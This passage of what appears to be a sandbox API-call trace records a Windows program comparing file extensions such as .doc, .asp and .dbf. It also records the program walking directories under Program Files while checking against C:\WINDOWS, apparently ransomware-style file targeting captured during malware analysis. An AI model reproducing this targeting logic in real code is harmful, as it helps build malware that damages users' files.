(lpString=".arw") returned 4 [0143.267] lstrcmpiW (lpString1=".arw", lpString2="r.js") returned -1 [0143.267] lstrlenW (lpString=".as") returned 3 [0143.267] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0143.267] lstrlenW (lpString=".asa") returned 4 [0143.267] lstrcmpiW (lpString1=".asa", lpString2="r.js") returned -1 [0143.267] lstrlenW (lpString=".asc") returned 4 [0143.267] lstrcmpiW (lpString1=".asc", lpString2="r.js") returned -1 [0143.267] lstrlenW (lpString=".ascx") returned 5 [0143.267] lstrcmpiW (lpString1=".ascx", lpString2="or.js") returned -1 [0143.267] lstrlenW (lpString=".asm") returned 4 [0143.267] lstrcmpiW (lpString1=".asm", lpString2="r.js") returned -1 [0143.267] lstrlenW (lpString=".asmx") returned 5 [0143.267] lstrcmpiW (lpString1=".asmx", lpString2="or.js") returned -1 [0143.267] lstrlenW (lpString=".asp") returned 4 [0143.267] lstrcmpiW (lpString1=".asp", lpString2="r.js") returned -1 [0143.267] lstrlenW (lpString=".aspx") returned 5 [0143.267] lstrcmpiW (lpString1=".aspx", lpString2="or.js") returned -1 [0143.267] lstrlenW (lpString=".asr") returned 4 [0143.267] lstrcmpiW (lpString1=".asr", lpString2="r.js") returned -1 [0143.267] lstrlenW (lpString=".asx") returned 4 [0143.267] lstrcmpiW (lpString1=".asx", lpString2="r.js") returned -1 [0143.267] lstrlenW (lpString=".avi") returned 4 [0143.267] lstrcmpiW (lpString1=".avi", lpString2="r.js") returned -1 [0143.267] lstrlenW (lpString=".avs") returned 4 [0143.267] lstrcmpiW (lpString1=".avs", lpString2="r.js") returned -1 [0143.267] lstrlenW (lpString=".backup") returned 7 [0143.267] lstrcmpiW (lpString1=".backup", lpString2="ctor.js") returned -1 [0143.267] lstrlenW (lpString=".bak") returned 4 [0143.267] lstrcmpiW (lpString1=".bak", lpString2="r.js") returned -1 [0143.267] lstrlenW (lpString=".bay") returned 4 [0143.268] lstrcmpiW (lpString1=".bay", lpString2="r.js") returned -1 [0143.268] lstrlenW (lpString=".bd") returned 3 [0143.268] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0143.268] lstrlenW (lpString=".bin") returned 4 [0143.268] lstrcmpiW (lpString1=".bin", lpString2="r.js") returned -1 [0143.268] lstrlenW (lpString=".bmp") returned 4 [0143.268] lstrcmpiW (lpString1=".bmp", lpString2="r.js") returned -1 [0143.268] lstrlenW (lpString=".bz2") returned 4 [0143.268] lstrcmpiW (lpString1=".bz2", lpString2="r.js") returned -1 [0143.268] lstrlenW (lpString=".c") returned 2 [0143.268] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0143.268] lstrlenW (lpString=".cdr") returned 4 [0143.268] lstrcmpiW (lpString1=".cdr", lpString2="r.js") returned -1 [0143.268] lstrlenW (lpString=".cer") returned 4 [0143.268] lstrcmpiW (lpString1=".cer", lpString2="r.js") returned -1 [0143.268] lstrlenW (lpString=".cf") returned 3 [0143.268] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0143.268] lstrlenW (lpString=".cfc") returned 4 [0143.268] lstrcmpiW (lpString1=".cfc", lpString2="r.js") returned -1 [0143.268] lstrlenW (lpString=".cfm") returned 4 [0143.268] lstrcmpiW (lpString1=".cfm", lpString2="r.js") returned -1 [0143.268] lstrlenW (lpString=".cfml") returned 5 [0143.268] lstrcmpiW (lpString1=".cfml", lpString2="or.js") returned -1 [0143.268] lstrlenW (lpString=".cfu") returned 4 [0143.268] lstrcmpiW (lpString1=".cfu", lpString2="r.js") returned -1 [0143.268] lstrlenW (lpString=".chm") returned 4 [0143.268] lstrcmpiW (lpString1=".chm", lpString2="r.js") returned -1 [0143.268] lstrlenW (lpString=".cin") returned 4 [0143.268] lstrcmpiW (lpString1=".cin", lpString2="r.js") returned -1 [0143.268] lstrlenW (lpString=".class") returned 6 [0143.268] lstrcmpiW (lpString1=".class", lpString2="tor.js") returned -1 [0143.268] lstrlenW (lpString=".clx") returned 4 [0143.268] lstrcmpiW (lpString1=".clx", lpString2="r.js") returned -1 [0143.269] lstrlenW (lpString=".config") returned 7 [0143.269] lstrcmpiW (lpString1=".config", lpString2="ctor.js") returned -1 [0143.269] lstrlenW (lpString=".cpp") returned 4 [0143.269] lstrcmpiW (lpString1=".cpp", lpString2="r.js") returned -1 [0143.269] lstrlenW (lpString=".cr2") returned 4 [0143.269] lstrcmpiW (lpString1=".cr2", lpString2="r.js") returned -1 [0143.269] lstrlenW (lpString=".crt") returned 4 [0143.269] lstrcmpiW (lpString1=".crt", lpString2="r.js") returned -1 [0143.269] lstrlenW (lpString=".crw") returned 4 [0143.269] lstrcmpiW (lpString1=".crw", lpString2="r.js") returned -1 [0143.269] lstrlenW (lpString=".cs") returned 3 [0143.269] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0143.269] lstrlenW (lpString=".css") returned 4 [0143.269] lstrcmpiW (lpString1=".css", lpString2="r.js") returned -1 [0143.269] lstrlenW (lpString=".csv") returned 4 [0143.269] lstrcmpiW (lpString1=".csv", lpString2="r.js") returned -1 [0143.269] lstrlenW (lpString=".cub") returned 4 [0143.269] lstrcmpiW (lpString1=".cub", lpString2="r.js") returned -1 [0143.269] lstrlenW (lpString=".dae") returned 4 [0143.269] lstrcmpiW (lpString1=".dae", lpString2="r.js") returned -1 [0143.269] lstrlenW (lpString=".dat") returned 4 [0143.269] lstrcmpiW (lpString1=".dat", lpString2="r.js") returned -1 [0143.269] lstrlenW (lpString=".db") returned 3 [0143.269] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0143.269] lstrlenW (lpString=".dbf") returned 4 [0143.269] lstrcmpiW (lpString1=".dbf", lpString2="r.js") returned -1 [0143.269] lstrlenW (lpString=".dbx") returned 4 [0143.269] lstrcmpiW (lpString1=".dbx", lpString2="r.js") returned -1 [0143.269] lstrlenW (lpString=".dc3") returned 4 [0143.270] lstrcmpiW (lpString1=".dc3", lpString2="r.js") returned -1 [0143.270] lstrlenW (lpString=".dcm") returned 4 [0143.270] lstrcmpiW (lpString1=".dcm", lpString2="r.js") returned -1 [0143.270] lstrlenW (lpString=".dcr") returned 4 [0143.270] lstrcmpiW (lpString1=".dcr", lpString2="r.js") returned -1 [0143.270] lstrlenW (lpString=".der") returned 4 [0143.270] lstrcmpiW (lpString1=".der", lpString2="r.js") returned -1 [0143.270] lstrlenW (lpString=".dib") returned 4 [0143.270] lstrcmpiW (lpString1=".dib", lpString2="r.js") returned -1 [0143.270] lstrlenW (lpString=".dic") returned 4 [0143.270] lstrcmpiW (lpString1=".dic", lpString2="r.js") returned -1 [0143.270] lstrlenW (lpString=".dif") returned 4 [0143.270] lstrcmpiW (lpString1=".dif", lpString2="r.js") returned -1 [0143.270] lstrlenW (lpString=".divx") returned 5 [0143.270] lstrcmpiW (lpString1=".divx", lpString2="or.js") returned -1 [0143.270] lstrlenW (lpString=".djvu") returned 5 [0143.270] lstrcmpiW (lpString1=".djvu", lpString2="or.js") returned -1 [0143.270] lstrlenW (lpString=".dng") returned 4 [0143.270] lstrcmpiW (lpString1=".dng", lpString2="r.js") returned -1 [0143.270] lstrlenW (lpString=".doc") returned 4 [0143.270] lstrcmpiW (lpString1=".doc", lpString2="r.js") returned -1 [0143.270] lstrlenW (lpString=".docm") returned 5 [0143.270] lstrcmpiW (lpString1=".docm", lpString2="or.js") returned -1 [0143.270] lstrlenW (lpString=".docx") returned 5 [0143.270] lstrcmpiW (lpString1=".docx", lpString2="or.js") returned -1 [0143.270] lstrlenW (lpString=".dot") returned 4 [0143.270] lstrcmpiW (lpString1=".dot", lpString2="r.js") returned -1 [0143.270] lstrlenW (lpString=".dotm") returned 5 [0143.270] lstrcmpiW (lpString1=".dotm", lpString2="or.js") returned -1 [0143.270] lstrlenW (lpString=".dotx") returned 5 [0143.271] lstrcmpiW (lpString1=".dotx", lpString2="or.js") returned -1 [0143.271] lstrlenW (lpString=".dpx") returned 4 [0143.271] lstrcmpiW (lpString1=".dpx", lpString2="r.js") returned -1 [0143.271] lstrlenW (lpString=".dqy") returned 4 [0143.271] lstrcmpiW (lpString1=".dqy", lpString2="r.js") returned -1 [0143.271] lstrlenW (lpString=".dsn") returned 4 [0143.271] lstrcmpiW (lpString1=".dsn", lpString2="r.js") returned -1 [0143.271] lstrlenW (lpString=".dt") returned 3 [0143.271] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0143.271] lstrlenW (lpString=".dtd") returned 4 [0143.271] lstrcmpiW (lpString1=".dtd", lpString2="r.js") returned -1 [0143.271] lstrlenW (lpString=".dwg") returned 4 [0143.271] lstrcmpiW (lpString1=".dwg", lpString2="r.js") returned -1 [0143.271] lstrlenW (lpString=".dwt") returned 4 [0143.271] lstrcmpiW (lpString1=".dwt", lpString2="r.js") returned -1 [0143.271] lstrlenW (lpString=".dx") returned 3 [0143.271] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0143.271] lstrlenW (lpString=".dxf") returned 4 [0143.272] lstrcmpiW (lpString1=".dxf", lpString2="r.js") returned -1 [0143.272] lstrlenW (lpString=".edml") returned 5 [0143.272] lstrcmpiW (lpString1=".edml", lpString2="or.js") returned -1 [0143.272] lstrlenW (lpString=".efd") returned 4 [0143.272] lstrcmpiW (lpString1=".efd", lpString2="r.js") returned -1 [0143.272] lstrlenW (lpString=".elf") returned 4 [0143.272] lstrcmpiW (lpString1=".elf", lpString2="r.js") returned -1 [0143.272] lstrlenW (lpString=".emf") returned 4 [0143.272] lstrcmpiW (lpString1=".emf", lpString2="r.js") returned -1 [0143.272] lstrlenW (lpString=".emz") returned 4 [0143.272] lstrcmpiW (lpString1=".emz", lpString2="r.js") returned -1 [0143.272] lstrlenW (lpString=".epf") returned 4 [0143.272] lstrcmpiW (lpString1=".epf", lpString2="r.js") returned -1 [0143.272] lstrlenW (lpString=".eps") returned 4 [0143.272] lstrcmpiW (lpString1=".eps", lpString2="r.js") returned -1 [0143.272] lstrlenW (lpString=".epsf") returned 5 [0143.272] lstrcmpiW (lpString1=".epsf", lpString2="or.js") returned -1 [0143.272] lstrlenW (lpString=".epsp") returned 5 [0143.273] lstrcmpiW (lpString1=".epsp", lpString2="or.js") returned -1 [0143.273] lstrlenW (lpString=".erf") returned 4 [0143.273] lstrcmpiW (lpString1=".erf", lpString2="r.js") returned -1 [0143.273] lstrlenW (lpString=".exr") returned 4 [0143.273] lstrcmpiW (lpString1=".exr", lpString2="r.js") returned -1 [0143.273] lstrlenW (lpString=".f4v") returned 4 [0143.273] lstrcmpiW (lpString1=".f4v", lpString2="r.js") returned -1 [0143.313] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.313] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.315] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.315] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0dcac | out: lpFindFileData=0x3a0dcac) returned 1 [0143.315] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.315] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0dcac | out: lpFindFileData=0x3a0dcac) returned 0 [0143.315] FindClose (in: hFindFile=0x3e5c798 | out: hFindFile=0x3e5c798) returned 1 [0143.315] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.315] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0143.315] FindClose (in: hFindFile=0x3e5c418 | out: hFindFile=0x3e5c418) returned 1 [0143.315] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.315] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 0 [0143.316] FindClose (in: hFindFile=0x3e5c698 | out: hFindFile=0x3e5c698) returned 1 [0143.316] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.317] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0143.317] FindClose (in: hFindFile=0x3e5c298 | out: hFindFile=0x3e5c298) returned 1 [0143.317] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0143.317] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0143.319] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.319] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0143.338] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.338] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0143.338] FindClose (in: hFindFile=0x3e5c698 | out: hFindFile=0x3e5c698) returned 1 [0143.338] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.338] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 0 [0143.338] FindClose (in: hFindFile=0x3e5c418 | out: hFindFile=0x3e5c418) returned 1 [0143.338] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.338] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0143.349] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.349] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.350] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.350] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.350] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.350] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.351] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.351] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.352] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.352] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.353] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.353] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.353] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.353] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.354] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.354] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.354] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.354] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.355] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.355] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.355] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.355] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.356] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.356] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.357] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.357] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.357] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.357] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.357] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.357] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.358] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.358] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.358] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.358] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.360] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.360] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.360] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.360] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.361] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.361] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.361] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.362] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.362] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.362] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.363] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.363] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.364] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.364] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.364] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.364] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.365] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.365] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.365] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.365] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.366] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.366] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.366] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.366] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.366] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.366] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.367] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.367] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.368] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.368] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.369] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.369] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.370] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.370] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0143.370] FindClose (in: hFindFile=0x3e5c658 | out: hFindFile=0x3e5c658) returned 1 [0143.370] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.370] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0143.371] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0143.371] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0143.371] FindClose (in: hFindFile=0x3e5c658 | out: hFindFile=0x3e5c658) returned 1 [0143.371] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.371] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 0 [0143.371] FindClose (in: hFindFile=0x3e5c798 | out: hFindFile=0x3e5c798) returned 1 [0143.371] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.372] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0143.372] FindClose (in: hFindFile=0x3e5c298 | out: hFindFile=0x3e5c298) returned 1 [0143.372] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0143.374] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0143.375] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.375] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0143.389] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.389] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0143.389] FindClose (in: hFindFile=0x3e5c0d8 | out: hFindFile=0x3e5c0d8) returned 1 [0143.389] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.390] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 0 [0143.390] FindClose (in: hFindFile=0x3e5c318 | out: hFindFile=0x3e5c318) returned 1 [0143.390] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.410] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0143.420] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.420] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.421] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.421] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.421] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.421] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.422] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.422] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.423] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.423] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.424] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.424] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.424] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.424] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.425] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.425] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.425] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\es-es") returned 127 [0143.425] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\es-es") returned 1 [0143.425] lstrlenW (lpString="es-es") returned 5 [0143.425] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="es-es") returned -1 [0143.425] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x52f0068 [0143.425] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\es-es") returned 127 [0143.425] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\es-es\\*", lpFindFileData=0x3a0dcac | out: lpFindFileData=0x3a0dcac) returned 0x3e5c0d8 [0143.426] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0dcac | out: lpFindFileData=0x3a0dcac) returned 1 